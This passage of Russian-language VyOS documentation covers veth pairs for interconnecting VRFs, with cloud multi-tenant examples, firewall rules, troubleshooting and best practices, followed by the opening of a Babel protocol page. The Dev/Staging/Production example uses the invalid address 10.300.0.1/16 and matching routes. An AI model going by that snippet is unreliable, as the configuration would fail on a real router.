Теперь CUSTOMER-A и CUSTOMER-B могут получить доступ к SHARED-SERVICES, но изолированы друг от друга.

## Расширенная конфигурация

### MTU настройка

```bash
# Установка MTU для veth пары
set interfaces virtual-ethernet veth0 mtu 9000
set interfaces virtual-ethernet veth1 mtu 9000

commit
save
```

MTU должен быть одинаковым на обоих концах пары.

### DHCP на veth

```bash
# DHCP клиент на veth (необычное использование)
set interfaces virtual-ethernet veth0 address dhcp

# DHCP сервер для veth сети
set service dhcp-server shared-network-name VETH-NET subnet 100.64.0.0/31
set service dhcp-server shared-network-name VETH-NET subnet 100.64.0.0/31 range 0 start 100.64.0.1
set service dhcp-server shared-network-name VETH-NET subnet 100.64.0.0/31 range 0 stop 100.64.0.1

commit
save
```

### Policy-Based Routing с veth

```bash
# PBR для трафика через veth
set policy route PBR-VETH rule 10 destination address 192.168.20.0/24
set policy route PBR-VETH rule 10 set table 100

# Применение к интерфейсу
set interfaces ethernet eth0 policy route PBR-VETH

# veth в VRF table 100
set interfaces virtual-ethernet veth0 vrf CUSTOM

commit
save
```

### Firewall на veth

```bash
# Firewall для veth интерфейсов
set firewall ipv4 name VETH-IN default-action drop
set firewall ipv4 name VETH-IN rule 10 action accept
set firewall ipv4 name VETH-IN rule 10 state established
set firewall ipv4 name VETH-IN rule 10 state related

set firewall ipv4 name VETH-IN rule 20 action accept
set firewall ipv4 name VETH-IN rule 20 protocol icmp

set firewall ipv4 name VETH-IN rule 30 action accept
set firewall ipv4 name VETH-IN rule 30 source address 100.64.0.0/31

# Применение к veth0
set interfaces virtual-ethernet veth0 firewall in name VETH-IN

commit
save
```

### QoS на veth

```bash
# Traffic shaping на veth
set traffic-policy shaper VETH-SHAPER bandwidth 100mbit
set traffic-policy shaper VETH-SHAPER default bandwidth 80mbit

# Применение к veth
set interfaces virtual-ethernet veth0 traffic-policy out VETH-SHAPER

commit
save
```

## Примеры для облачных платформ

### Yandex Cloud: Multi-Tenant VRF с Shared Services

Сценарий: Два клиента с изолированными VRF, но общий доступ к shared services (DNS, NTP, мониторинг).

```bash
# VRF для клиентов
set vrf name TENANT-A table 100
set vrf name TENANT-B table 200
set vrf name SHARED table 300

# Физические интерфейсы клиентов
set interfaces ethernet eth1 vrf TENANT-A
set interfaces ethernet eth1 address 10.10.1.1/24
set interfaces ethernet eth1 description 'Tenant A - Yandex Cloud Subnet'

set interfaces ethernet eth2 vrf TENANT-B
set interfaces ethernet eth2 address 10.20.1.1/24
set interfaces ethernet eth2 description 'Tenant B - Yandex Cloud Subnet'

# Интерфейс для shared services
set interfaces ethernet eth3 vrf SHARED
set interfaces ethernet eth3 address 10.255.0.1/24
set interfaces ethernet eth3 description 'Shared Services - Yandex Cloud'

# veth пары для TENANT-A <-> SHARED
set interfaces virtual-ethernet veth10 peer-name veth11
set interfaces virtual-ethernet veth10 address 100.64.10.0/31
set interfaces virtual-ethernet veth10 vrf TENANT-A
set interfaces virtual-ethernet veth10 description 'Tenant A to Shared'

set interfaces virtual-ethernet veth11 address 100.64.10.1/31
set interfaces virtual-ethernet veth11 vrf SHARED
set interfaces virtual-ethernet veth11 description 'Shared to Tenant A'

# veth пары для TENANT-B <-> SHARED
set interfaces virtual-ethernet veth20 peer-name veth21
set interfaces virtual-ethernet veth20 address 100.64.20.0/31
set interfaces virtual-ethernet veth20 vrf TENANT-B
set interfaces virtual-ethernet veth20 description 'Tenant B to Shared'

set interfaces virtual-ethernet veth21 address 100.64.20.1/31
set interfaces virtual-ethernet veth21 vrf SHARED
set interfaces virtual-ethernet veth21 description 'Shared to Tenant B'

# Маршруты от клиентов к shared services
set protocols vrf TENANT-A static route 10.255.0.0/24 next-hop 100.64.10.1
set protocols vrf TENANT-B static route 10.255.0.0/24 next-hop 100.64.20.1

# Обратные маршруты от shared к клиентам
set protocols vrf SHARED static route 10.10.1.0/24 next-hop 100.64.10.0
set protocols vrf SHARED static route 10.20.1.0/24 next-hop 100.64.20.0

# Firewall для контроля доступа (только определенные сервисы)
set firewall ipv4 name SHARED-IN default-action drop
set firewall ipv4 name SHARED-IN rule 10 action accept
set firewall ipv4 name SHARED-IN rule 10 state established
set firewall ipv4 name SHARED-IN rule 10 state related

set firewall ipv4 name SHARED-IN rule 20 action accept
set firewall ipv4 name SHARED-IN rule 20 protocol udp
set firewall ipv4 name SHARED-IN rule 20 destination port 53  # DNS
set firewall ipv4 name SHARED-IN rule 20 destination address 10.255.0.10

set firewall ipv4 name SHARED-IN rule 30 action accept
set firewall ipv4 name SHARED-IN rule 30 protocol udp
set firewall ipv4 name SHARED-IN rule 30 destination port 123  # NTP
set firewall ipv4 name SHARED-IN rule 30 destination address 10.255.0.11

set interfaces virtual-ethernet veth11 firewall in name SHARED-IN
set interfaces virtual-ethernet veth21 firewall in name SHARED-IN

commit
save
```

### VK Cloud: VRF для DMZ и Internal Networks

Сценарий: Разделение DMZ (публичные сервисы) и Internal (приватные сервисы) через VRF с контролируемым взаимодействием.

```bash
# VRF для DMZ и Internal
set vrf name DMZ table 100
set vrf name INTERNAL table 200

# DMZ интерфейс (публичный)
set interfaces ethernet eth0 vrf DMZ
set interfaces ethernet eth0 address 203.0.113.1/24
set interfaces ethernet eth0 description 'DMZ - VK Cloud Public Subnet'

# Internal интерфейс (приватный)
set interfaces ethernet eth1 vrf INTERNAL
set interfaces ethernet eth1 address 10.0.1.1/24
set interfaces ethernet eth1 description 'Internal - VK Cloud Private Subnet'

# veth пара для контролируемого взаимодействия
set interfaces virtual-ethernet veth50 peer-name veth51
set interfaces virtual-ethernet veth50 address 100.64.50.0/31
set interfaces virtual-ethernet veth50 vrf DMZ
set interfaces virtual-ethernet veth50 description 'DMZ to Internal'

set interfaces virtual-ethernet veth51 address 100.64.50.1/31
set interfaces virtual-ethernet veth51 vrf INTERNAL
set interfaces virtual-ethernet veth51 description 'Internal to DMZ'

# Маршруты
# DMZ может инициировать соединения к Internal (для backend API)
set protocols vrf DMZ static route 10.0.1.0/24 next-hop 100.64.50.1

# Internal может получать ответы, но не инициировать
# (контролируется через firewall)

# Firewall - Internal принимает только established соединения от DMZ
set firewall ipv4 name INTERNAL-FROM-DMZ default-action drop
set firewall ipv4 name INTERNAL-FROM-DMZ rule 10 action accept
set firewall ipv4 name INTERNAL-FROM-DMZ rule 10 state established
set firewall ipv4 name INTERNAL-FROM-DMZ rule 10 state related

set firewall ipv4 name INTERNAL-FROM-DMZ rule 20 action accept
set firewall ipv4 name INTERNAL-FROM-DMZ rule 20 protocol tcp
set firewall ipv4 name INTERNAL-FROM-DMZ rule 20 destination port 5432  # PostgreSQL
set firewall ipv4 name INTERNAL-FROM-DMZ rule 20 destination address 10.0.1.10

set firewall ipv4 name INTERNAL-FROM-DMZ rule 30 action accept
set firewall ipv4 name INTERNAL-FROM-DMZ rule 30 protocol tcp
set firewall ipv4 name INTERNAL-FROM-DMZ rule 30 destination port 6379  # Redis
set firewall ipv4 name INTERNAL-FROM-DMZ rule 30 destination address 10.0.1.11

set interfaces virtual-ethernet veth51 firewall in name INTERNAL-FROM-DMZ

# NAT для DMZ интерфейса (выход в интернет)
set nat source rule 100 outbound-interface name eth0
set nat source rule 100 source address 203.0.113.0/24
set nat source rule 100 translation address masquerade

commit
save
```

### Yandex Cloud: Development/Staging/Production VRF

Сценарий: Три изолированные среды с контролируемым доступом между ними.

```bash
# VRF для сред
set vrf name DEV table 100
set vrf name STAGING table 200
set vrf name PRODUCTION table 300
set vrf name MANAGEMENT table 400

# Интерфейсы
set interfaces ethernet eth1 vrf DEV
set interfaces ethernet eth1 address 10.100.0.1/16
set interfaces ethernet eth1 description 'Development - Yandex Cloud'

set interfaces ethernet eth2 vrf STAGING
set interfaces ethernet eth2 address 10.200.0.1/16
set interfaces ethernet eth2 description 'Staging - Yandex Cloud'

set interfaces ethernet eth3 vrf PRODUCTION
set interfaces ethernet eth3 address 10.300.0.1/16
set interfaces ethernet eth3 description 'Production - Yandex Cloud'

set interfaces ethernet eth4 vrf MANAGEMENT
set interfaces ethernet eth4 address 10.255.0.1/24
set interfaces ethernet eth4 description 'Management - Yandex Cloud'

# veth для MANAGEMENT доступа ко всем средам
# MANAGEMENT <-> DEV
set interfaces virtual-ethernet veth10 peer-name veth11
set interfaces virtual-ethernet veth10 address 100.64.1.0/31
set interfaces virtual-ethernet veth10 vrf MANAGEMENT

set interfaces virtual-ethernet veth11 address 100.64.1.1/31
set interfaces virtual-ethernet veth11 vrf DEV

# MANAGEMENT <-> STAGING
set interfaces virtual-ethernet veth20 peer-name veth21
set interfaces virtual-ethernet veth20 address 100.64.2.0/31
set interfaces virtual-ethernet veth20 vrf MANAGEMENT

set interfaces virtual-ethernet veth21 address 100.64.2.1/31
set interfaces virtual-ethernet veth21 vrf STAGING

# MANAGEMENT <-> PRODUCTION
set interfaces virtual-ethernet veth30 peer-name veth31
set interfaces virtual-ethernet veth30 address 100.64.3.0/31
set interfaces virtual-ethernet veth30 vrf MANAGEMENT

set interfaces virtual-ethernet veth31 address 100.64.3.1/31
set interfaces virtual-ethernet veth31 vrf PRODUCTION

# Опционально: DEV <-> STAGING (для CI/CD)
set interfaces virtual-ethernet veth40 peer-name veth41
set interfaces virtual-ethernet veth40 address 100.64.4.0/31
set interfaces virtual-ethernet veth40 vrf DEV

set interfaces virtual-ethernet veth41 address 100.64.4.1/31
set interfaces virtual-ethernet veth41 vrf STAGING

# Маршруты от MANAGEMENT ко всем средам
set protocols vrf MANAGEMENT static route 10.100.0.0/16 next-hop 100.64.1.1
set protocols vrf MANAGEMENT static route 10.200.0.0/16 next-hop 100.64.2.1
set protocols vrf MANAGEMENT static route 10.300.0.0/16 next-hop 100.64.3.1

# Обратные маршруты (только для MANAGEMENT сети)
set protocols vrf DEV static route 10.255.0.0/24 next-hop 100.64.1.0
set protocols vrf STAGING static route 10.255.0.0/24 next-hop 100.64.2.0
set protocols vrf PRODUCTION static route 10.255.0.0/24 next-hop 100.64.3.0

# Маршрут от DEV к STAGING (для CI/CD)
set protocols vrf DEV static route 10.200.0.0/16 next-hop 100.64.4.1
set protocols vrf STAGING static route 10.100.0.0/16 next-hop 100.64.4.0

# Firewall - PRODUCTION принимает только SSH от MANAGEMENT
set firewall ipv4 name PROD-MGMT-IN default-action drop
set firewall ipv4 name PROD-MGMT-IN rule 10 action accept
set firewall ipv4 name PROD-MGMT-IN rule 10 state established
set firewall ipv4 name PROD-MGMT-IN rule 10 state related

set firewall ipv4 name PROD-MGMT-IN rule 20 action accept
set firewall ipv4 name PROD-MGMT-IN rule 20 protocol tcp
set firewall ipv4 name PROD-MGMT-IN rule 20 destination port 22
set firewall ipv4 name PROD-MGMT-IN rule 20 source address 10.255.0.0/24

set interfaces virtual-ethernet veth31 firewall in name PROD-MGMT-IN

commit
save
```

### VK Cloud: Container Platform с VRF изоляцией

Сценарий: Kubernetes кластеры в различных VRF для разных проектов.

```bash
# VRF для Kubernetes кластеров
set vrf name K8S-CLUSTER-A table 100
set vrf name K8S-CLUSTER-B table 200
set vrf name K8S-SERVICES table 300  # Shared services (registry, monitoring)

# Интерфейсы для кластеров
set interfaces ethernet eth1 vrf K8S-CLUSTER-A
set interfaces ethernet eth1 address 10.10.0.1/16
set interfaces ethernet eth1 description 'K8s Cluster A - VK Cloud'

set interfaces ethernet eth2 vrf K8S-CLUSTER-B
set interfaces ethernet eth2 address 10.20.0.1/16
set interfaces ethernet eth2 description 'K8s Cluster B - VK Cloud'

set interfaces ethernet eth3 vrf K8S-SERVICES
set interfaces ethernet eth3 address 10.255.0.1/24
set interfaces ethernet eth3 description 'K8s Shared Services - VK Cloud'

# veth для доступа к shared services
# CLUSTER-A <-> SERVICES
set interfaces virtual-ethernet veth10 peer-name veth11
set interfaces virtual-ethernet veth10 address 100.64.10.0/31
set interfaces virtual-ethernet veth10 vrf K8S-CLUSTER-A

set interfaces virtual-ethernet veth11 address 100.64.10.1/31
set interfaces virtual-ethernet veth11 vrf K8S-SERVICES

# CLUSTER-B <-> SERVICES
set interfaces virtual-ethernet veth20 peer-name veth21
set interfaces virtual-ethernet veth20 address 100.64.20.0/31
set interfaces virtual-ethernet veth20 vrf K8S-CLUSTER-B

set interfaces virtual-ethernet veth21 address 100.64.20.1/31
set interfaces virtual-ethernet veth21 vrf K8S-SERVICES

# Маршруты к shared services
set protocols vrf K8S-CLUSTER-A static route 10.255.0.0/24 next-hop 100.64.10.1
set protocols vrf K8S-CLUSTER-B static route 10.255.0.0/24 next-hop 100.64.20.1

# Обратные маршруты
set protocols vrf K8S-SERVICES static route 10.10.0.0/16 next-hop 100.64.10.0
set protocols vrf K8S-SERVICES static route 10.20.0.0/16 next-hop 100.64.20.0

# Firewall для контроля доступа к services
set firewall ipv4 name K8S-SERVICES-IN default-action drop
set firewall ipv4 name K8S-SERVICES-IN rule 10 action accept
set firewall ipv4 name K8S-SERVICES-IN rule 10 state established
set firewall ipv4 name K8S-SERVICES-IN rule 10 state related

# Container registry (Harbor)
set firewall ipv4 name K8S-SERVICES-IN rule 20 action accept
set firewall ipv4 name K8S-SERVICES-IN rule 20 protocol tcp
set firewall ipv4 name K8S-SERVICES-IN rule 20 destination port 443
set firewall ipv4 name K8S-SERVICES-IN rule 20 destination address 10.255.0.10

# Monitoring (Prometheus)
set firewall ipv4 name K8S-SERVICES-IN rule 30 action accept
set firewall ipv4 name K8S-SERVICES-IN rule 30 protocol tcp
set firewall ipv4 name K8S-SERVICES-IN rule 30 destination port 9090
set firewall ipv4 name K8S-SERVICES-IN rule 30 destination address 10.255.0.20

set interfaces virtual-ethernet veth11 firewall in name K8S-SERVICES-IN
set interfaces virtual-ethernet veth21 firewall in name K8S-SERVICES-IN

commit
save
```

## Мониторинг и диагностика

### Просмотр veth интерфейсов

```bash
# Все veth интерфейсы
show interfaces virtual-ethernet

# Детальная информация о конкретном veth
show interfaces virtual-ethernet veth0

# Статистика
show interfaces virtual-ethernet veth0 statistics

# Вывод:
# Codes: S - State, L - Link, u - Up, D - Down, A - Admin Down
# Interface        IP Address                        S/L  Description
# ---------        ----------                        ---  -----------
# veth0            192.0.2.1/24                      u/u  VRF RED side
# veth1            192.0.2.2/24                      u/u  VRF BLUE side
```

### Проверка peer связей

```bash
# Проверка peer connections
ip link show type veth

# Вывод:
# 10: veth0@veth1: <BROADCAST,MULTICAST,UP,LOWER_UP>
# 11: veth1@veth0: <BROADCAST,MULTICAST,UP,LOWER_UP>
```

### Проверка VRF назначений

```bash
# Показать все VRF
show vrf

# Детали конкретного VRF
show vrf RED

# Интерфейсы в VRF
show ip route vrf RED

# Вывод покажет veth интерфейсы в VRF
```

### Тестирование связности

```bash
# Ping между veth парой
ping 192.0.2.2 source-address 192.0.2.1

# Ping через VRF
ping 192.168.20.1 vrf RED

# Traceroute для проверки пути
traceroute 192.168.20.1 vrf RED

# Вывод покажет путь через veth
```

### Мониторинг трафика

```bash
# tcpdump на veth интерфейсе
sudo tcpdump -i veth0

# Детальный вывод с заголовками
sudo tcpdump -i veth0 -v -e

# Фильтр по протоколу
sudo tcpdump -i veth0 icmp

# Сохранение в файл
sudo tcpdump -i veth0 -w /tmp/veth0.pcap
```

### Проверка счетчиков

```bash
# Статистика интерфейса
show interfaces virtual-ethernet veth0 statistics

# Вывод:
# RX:  bytes  packets  errors  dropped  overrun  mcast
#      12345   100      0       0        0        0
# TX:  bytes  packets  errors  dropped  carrier  collisions
#      54321   90       0       0        0        0
```

### Логирование

```bash
# Системные логи для veth
show log | match veth

# Kernel messages
dmesg | grep veth

# Firewall логи для veth трафика
show log firewall name VETH-IN
```

## Устранение неполадок

### Проблема: veth интерфейс в DOWN состоянии

**Диагностика**:

```bash
# Проверка состояния
show interfaces virtual-ethernet veth0

# Проверка peer интерфейса
show interfaces virtual-ethernet veth1
```

**Причины и решения**:

1. Peer интерфейс не создан или удален:
```bash
# Проверить конфигурацию peer
show configuration interfaces virtual-ethernet veth1

# Создать peer если отсутствует
set interfaces virtual-ethernet veth1 peer-name veth0
commit
```

2. Peer интерфейс в admin down:
```bash
# Включить peer интерфейс
delete interfaces virtual-ethernet veth1 disable
commit
```

3. Конфликт конфигурации:
```bash
# Пересоздать veth пару
delete interfaces virtual-ethernet veth0
delete interfaces virtual-ethernet veth1

set interfaces virtual-ethernet veth0 peer-name veth1
set interfaces virtual-ethernet veth0 address 192.0.2.1/24
set interfaces virtual-ethernet veth1 address 192.0.2.2/24

commit
save
```

### Проблема: Нет связности между VRF через veth

**Диагностика**:

```bash
# Проверка VRF таблиц
show vrf RED
show vrf BLUE

# Проверка маршрутов в VRF
show ip route vrf RED
show ip route vrf BLUE

# Проверка назначения veth к VRF
show configuration interfaces virtual-ethernet veth10
show configuration interfaces virtual-ethernet veth11
```

**Решения**:

1. Отсутствуют маршруты между VRF:
```bash
# Добавить статические маршруты
set protocols vrf RED static route 192.168.20.0/24 next-hop 100.64.0.0
set protocols vrf BLUE static route 192.168.10.0/24 next-hop 100.64.0.1

commit
save
```

2. Firewall блокирует трафик:
```bash
# Проверить firewall правила
show firewall

# Разрешить трафик на veth
set interfaces virtual-ethernet veth10 firewall in name ALLOW-ALL
set firewall ipv4 name ALLOW-ALL default-action accept

commit
save
```

3. IP forwarding отключен (маловероятно в VyOS):
```bash
# Проверить IP forwarding
cat /proc/sys/net/ipv4/ip_forward

# Должен быть 1 (включен по умолчанию в VyOS)
```

### Проблема: Высокая latency на veth

**Диагностика**:

```bash
# Ping тест с timestamp
ping 100.64.0.1 -D

# Проверка загрузки CPU
show system cpu

# Проверка памяти
show system memory
```

**Причины**:

veth интерфейсы работают на kernel level и обычно имеют минимальную задержку (микросекунды). Если наблюдается высокая latency:

1. Высокая загрузка системы:
```bash
# Проверить процессы
top

# Проверить сетевую статистику
show interfaces
```

2. QoS/Traffic shaping:
```bash
# Проверить traffic policies
show traffic-policy

# Удалить QoS если не нужен
delete interfaces virtual-ethernet veth0 traffic-policy
commit
```

### Проблема: Пакеты теряются на veth

**Диагностика**:

```bash
# Проверка счетчиков ошибок
show interfaces virtual-ethernet veth0 statistics

# Поиск dropped пакетов
# RX dropped или TX dropped > 0 указывает на проблему
```

**Решения**:

1. MTU mismatch:
```bash
# Проверить MTU
show interfaces virtual-ethernet veth0
show interfaces virtual-ethernet veth1

# Установить одинаковый MTU
set interfaces virtual-ethernet veth0 mtu 1500
set interfaces virtual-ethernet veth1 mtu 1500

commit
save
```

2. Firewall отбрасывает пакеты:
```bash
# Проверить firewall counters
show firewall statistics

# Временно отключить firewall для теста
delete interfaces virtual-ethernet veth0 firewall
commit

# Если проблема исчезла - пересмотреть firewall правила
```

3. Buffer переполнение:
```bash
# Проверить ring buffer settings
ethtool -g veth0

# Увеличить buffers (если поддерживается)
ethtool -G veth0 rx 4096 tx 4096
```

### Проблема: veth не появляется в VRF

**Диагностика**:

```bash
# Проверка VRF конфигурации
show vrf RED

# Проверка veth конфигурации
show configuration interfaces virtual-ethernet veth10
```

**Решение**:

```bash
# Убедиться что VRF создан
set vrf name RED table 100

# Назначить veth к VRF
set interfaces virtual-ethernet veth10 vrf RED

# Применить конфигурацию
commit
save

# Проверить результат
show vrf RED
show ip route vrf RED
```

### Проблема: Asymmetric routing через veth

**Диагностика**:

```bash
# Traceroute в обе стороны
traceroute 192.168.20.1 vrf RED
traceroute 192.168.10.1 vrf BLUE

# Проверка маршрутов
show ip route vrf RED 192.168.20.0/24
show ip route vrf BLUE 192.168.10.0/24
```

**Решение**:

Обеспечить симметричные маршруты:

```bash
# В VRF RED
set protocols vrf RED static route 192.168.20.0/24 next-hop 100.64.0.0

# В VRF BLUE
set protocols vrf BLUE static route 192.168.10.0/24 next-hop 100.64.0.1

commit
save
```

## Производительность и оптимизация

### MTU Optimization

```bash
# Jumbo frames для high-throughput
set interfaces virtual-ethernet veth0 mtu 9000
set interfaces virtual-ethernet veth1 mtu 9000

commit
save
```

MTU на veth должен соответствовать MTU на физических интерфейсах в пути.

### Offloading

veth интерфейсы работают полностью в kernel space и не требуют hardware offloading.

```bash
# Проверка текущих offload настроек
ethtool -k veth0

# Вывод покажет что большинство offload features N/A для veth
```

### Performance Testing

```bash
# iperf3 тест через veth
# На одной стороне (veth1 - 192.0.2.2)
iperf3 -s -B 192.0.2.2

# На другой стороне (veth0 - 192.0.2.1)
iperf3 -c 192.0.2.2 -B 192.0.2.1

# Результат должен показывать multi-gigabit throughput
```

### CPU Affinity

Для high-performance систем можно настроить CPU affinity для veth IRQ:

```bash
# Найти IRQ для veth (если применимо)
grep veth /proc/interrupts

# Установить CPU affinity (пример)
echo 2 > /proc/irq/XX/smp_affinity_list
```

Однако veth обычно не имеет dedicated IRQ как физические NIC.

### Множественные veth пары

Если нужна высокая пропускная способность между VRF, используйте множественные veth пары с ECMP:

```bash
# Первая veth пара
set interfaces virtual-ethernet veth10 peer-name veth11
set interfaces virtual-ethernet veth10 address 100.64.10.0/31
set interfaces virtual-ethernet veth10 vrf RED

set interfaces virtual-ethernet veth11 address 100.64.10.1/31
set interfaces virtual-ethernet veth11 vrf BLUE

# Вторая veth пара
set interfaces virtual-ethernet veth20 peer-name veth21
set interfaces virtual-ethernet veth20 address 100.64.20.0/31
set interfaces virtual-ethernet veth20 vrf RED

set interfaces virtual-ethernet veth21 address 100.64.20.1/31
set interfaces virtual-ethernet veth21 vrf BLUE

# ECMP маршруты в RED
set protocols vrf RED static route 192.168.20.0/24 next-hop 100.64.10.1
set protocols vrf RED static route 192.168.20.0/24 next-hop 100.64.20.1

# ECMP маршруты в BLUE
set protocols vrf BLUE static route 192.168.10.0/24 next-hop 100.64.10.0
set protocols vrf BLUE static route 192.168.10.0/24 next-hop 100.64.20.0

commit
save
```

Теперь трафик будет распределен между двумя veth парами.

## Безопасность

### Firewall между VRF

Всегда используйте firewall для контроля трафика между VRF:

```bash
# Строгий firewall - разрешить только необходимое
set firewall ipv4 name VRF-INTERCONNECT default-action drop

set firewall ipv4 name VRF-INTERCONNECT rule 10 action accept
set firewall ipv4 name VRF-INTERCONNECT rule 10 state established
set firewall ipv4 name VRF-INTERCONNECT rule 10 state related

set firewall ipv4 name VRF-INTERCONNECT rule 20 action accept
set firewall ipv4 name VRF-INTERCONNECT rule 20 protocol tcp
set firewall ipv4 name VRF-INTERCONNECT rule 20 destination port 443
set firewall ipv4 name VRF-INTERCONNECT rule 20 destination address 10.255.0.10

set interfaces virtual-ethernet veth11 firewall in name VRF-INTERCONNECT

commit
save
```

### Логирование доступа

```bash
# Логирование firewall событий
set firewall ipv4 name VRF-INTERCONNECT rule 20 log
set firewall ipv4 name VRF-INTERCONNECT default-log

# Просмотр логов
show log firewall name VRF-INTERCONNECT
```

### Rate Limiting

Защита от DoS атак между VRF:

```bash
# Rate limiting на veth
set firewall ipv4 name VRF-INTERCONNECT rule 30 action accept
set firewall ipv4 name VRF-INTERCONNECT rule 30 protocol icmp
set firewall ipv4 name VRF-INTERCONNECT rule 30 limit rate 100/second

commit
save
```

### Access Control Lists

Детальный контроль доступа:

```bash
# Разрешить только определенные источники
set firewall ipv4 name VRF-INTERCONNECT rule 40 action accept
set firewall ipv4 name VRF-INTERCONNECT rule 40 protocol tcp
set firewall ipv4 name VRF-INTERCONNECT rule 40 source address 192.168.10.100
set firewall ipv4 name VRF-INTERCONNECT rule 40 destination address 10.255.0.20
set firewall ipv4 name VRF-INTERCONNECT rule 40 destination port 5432

commit
save
```

## Интеграция с динамической маршрутизацией

### BGP через veth

```bash
# BGP peering через veth между VRF
set protocols vrf RED bgp local-as 65001
set protocols vrf RED bgp neighbor 100.64.0.1 remote-as 65002
set protocols vrf RED bgp neighbor 100.64.0.1 address-family ipv4-unicast

set protocols vrf BLUE bgp local-as 65002
set protocols vrf BLUE bgp neighbor 100.64.0.0 remote-as 65001
set protocols vrf BLUE bgp neighbor 100.64.0.0 address-family ipv4-unicast

commit
save
```

### OSPF через veth

```bash
# OSPF между VRF
set protocols vrf RED ospf area 0 network 100.64.0.0/31
set protocols vrf RED ospf area 0 network 192.168.10.0/24

set protocols vrf BLUE ospf area 0 network 100.64.0.0/31
set protocols vrf BLUE ospf area 0 network 192.168.20.0/24

commit
save
```

### Route Leaking с BGP

```bash
# Импорт/экспорт маршрутов между VRF через BGP
set protocols vrf RED bgp route-target export 65000:100
set protocols vrf RED bgp route-target import 65000:200

set protocols vrf BLUE bgp route-target export 65000:200
set protocols vrf BLUE bgp route-target import 65000:100

commit
save
```

## Лучшие практики

### 1. Используйте последовательную схему именования

```bash
# veth10-veth11 для VRF interconnects
# veth20-veth21 для другой пары VRF
# vethXX-vethXX - peer suffix всегда +1

set interfaces virtual-ethernet veth10 peer-name veth11
set interfaces virtual-ethernet veth20 peer-name veth21
```

### 2. Всегда добавляйте описания

```bash
set interfaces virtual-ethernet veth10 description 'TENANT-A to SHARED-SERVICES'
set interfaces virtual-ethernet veth11 description 'SHARED-SERVICES to TENANT-A'
```

### 3. Используйте /31 для point-to-point соединений

```bash
# Экономия IP адресов для veth interconnects
set interfaces virtual-ethernet veth10 address 100.64.0.0/31
set interfaces virtual-ethernet veth11 address 100.64.0.1/31
```

### 4. Документируйте VRF топологию

Создайте документ с VRF interconnection topology:

```
TENANT-A (VRF RED, table 100)
  |
  +-- veth10 (100.64.0.0/31) <--> veth11 (100.64.0.1/31)
  |
SHARED-SERVICES (VRF SHARED, table 300)
  |
  +-- veth21 (100.64.0.3/31) <--> veth20 (100.64.0.2/31)
  |
TENANT-B (VRF BLUE, table 200)
```

### 5. Применяйте firewall на veth

Всегда контролируйте трафик между VRF:

```bash
set interfaces virtual-ethernet veth11 firewall in name VRF-CONTROL
```

### 6. Мониторинг veth состояния

Регулярно проверяйте состояние veth:

```bash
# Скрипт мониторинга (добавить в cron)
#!/bin/bash
vyos_cli -c "show interfaces virtual-ethernet" | grep -q "u/u" || echo "veth interface down!"
```

### 7. Используйте отдельную подсеть для veth interconnects

```bash
# Выделенная подсеть 100.64.0.0/16 (Shared Address Space, RFC 6598)
# для veth interconnects
set interfaces virtual-ethernet veth10 address 100.64.0.0/31
set interfaces virtual-ethernet veth20 address 100.64.0.2/31
set interfaces virtual-ethernet veth30 address 100.64.0.4/31
```

### 8. Тестируйте failover

Проверяйте поведение при сбоях:

```bash
# Отключение veth для тестирования
set interfaces virtual-ethernet veth10 disable
commit

# Проверка маршрутизации
show ip route vrf RED

# Включение обратно
delete interfaces virtual-ethernet veth10 disable
commit
```

### 9. Логируйте изменения

```bash
# Commit с комментарием
commit comment "Added veth10-veth11 for TENANT-A to SHARED interconnect"
save
```

### 10. Backup конфигурации

Регулярно сохраняйте конфигурацию:

```bash
# Backup с veth конфигурацией
save /config/backup/config.boot.veth-$(date +%Y%m%d)
```

## Полезные команды

```bash
# Создание veth пары
set interfaces virtual-ethernet veth0 peer-name veth1
set interfaces virtual-ethernet veth0 address 192.0.2.1/24
set interfaces virtual-ethernet veth1 address 192.0.2.2/24

# Просмотр veth
show interfaces virtual-ethernet
show interfaces virtual-ethernet veth0

# Назначение VRF
set interfaces virtual-ethernet veth0 vrf RED

# Просмотр VRF
show vrf
show vrf RED
show ip route vrf RED

# Удаление veth
delete interfaces virtual-ethernet veth0
delete interfaces virtual-ethernet veth1

# Статистика
show interfaces virtual-ethernet veth0 statistics

# Конфигурация
show configuration interfaces virtual-ethernet

# Тестирование
ping 192.0.2.2 source-address 192.0.2.1
ping 192.168.20.1 vrf RED

# Трассировка
traceroute 192.168.20.1 vrf RED

# Мониторинг трафика
sudo tcpdump -i veth0

# Логи
show log | match veth
```

## Ограничения

- veth интерфейсы работают только в kernel space (нет hardware offloading)
- Требуется правильная конфигурация peer интерфейса
- Оба конца пары должны быть UP для работы
- MTU должен быть согласован на обоих концах
- Нельзя использовать один veth в нескольких VRF одновременно
- Performance ограничен CPU мощностью (обычно не проблема)

## Заключение

Virtual Ethernet (veth) интерфейсы - мощный инструмент для создания гибких сетевых топологий в VyOS. Они идеально подходят для:

- VRF interconnection в multi-tenant облачных средах
- Изоляция и контролируемое взаимодействие между сетевыми доменами
- Создание сложных маршрутизационных сценариев
- Container и VM networking

Основные преимущества:
- Простая конфигурация
- Высокая производительность (kernel-level)
- Гибкость в использовании (VRF, namespaces, containers)
- Полная поддержка всех сетевых функций VyOS
- Отличная интеграция с firewall и routing protocols

Рекомендации для облачных платформ (Yandex Cloud, VK Cloud):
- Используйте veth для multi-tenant VRF изоляции
- Применяйте строгие firewall правила между VRF
- Документируйте VRF топологию
- Мониторьте состояние veth интерфейсов
- Используйте /31 подсети для экономии адресного пространства
- Тестируйте failover сценарии

veth интерфейсы обеспечивают надежную и производительную основу для построения сложных сетевых архитектур в облачных средах.


---

# Babel - Loop-free Distance-Vector Routing Protocol

Source: https://opennix.org/docs/vyos/routing/vyos-babel/


## Обзор

Babel - это современный протокол маршрутизации, специально разработанный для проводных и беспроводных mesh-сетей. Определен в RFC 8966 и представляет собой безпетлевой distance-vector протокол с расширенными возможностями для динамической маршрутизации в сложных топологиях.

### Ключевые особенности

- **Loop-free Distance-Vector**: Гарантированное отсутствие петель маршрутизации благодаря механизму feasibility condition
- **Dual-stack**: Нативная поддержка IPv4 и IPv6 в одном протоколе
- **Адаптивные метрики**: Автоматическое вычисление качества канала на основе RTT и потерь пакетов
- **Разнообразие маршрутов (Diversity Routing)**: Выбор маршрутов с учетом минимизации интерференции на беспроводных каналах
- **Простота конфигурации**: Минимальные требования к настройке для работы в mesh-сетях
- **Быстрая сходимость**: Эффективное обнаружение и реакция на изменения топологии
- **Масштабируемость**: Подходит для сетей от небольших до средних размеров

### Области применения

Babel оптимально подходит для следующих сценариев:

1. **Беспроводные mesh-сети**: WiFi mesh, точка-многоточка, ad-hoc сети
2. **Гибридные сети**: Комбинация проводных и беспроводных каналов
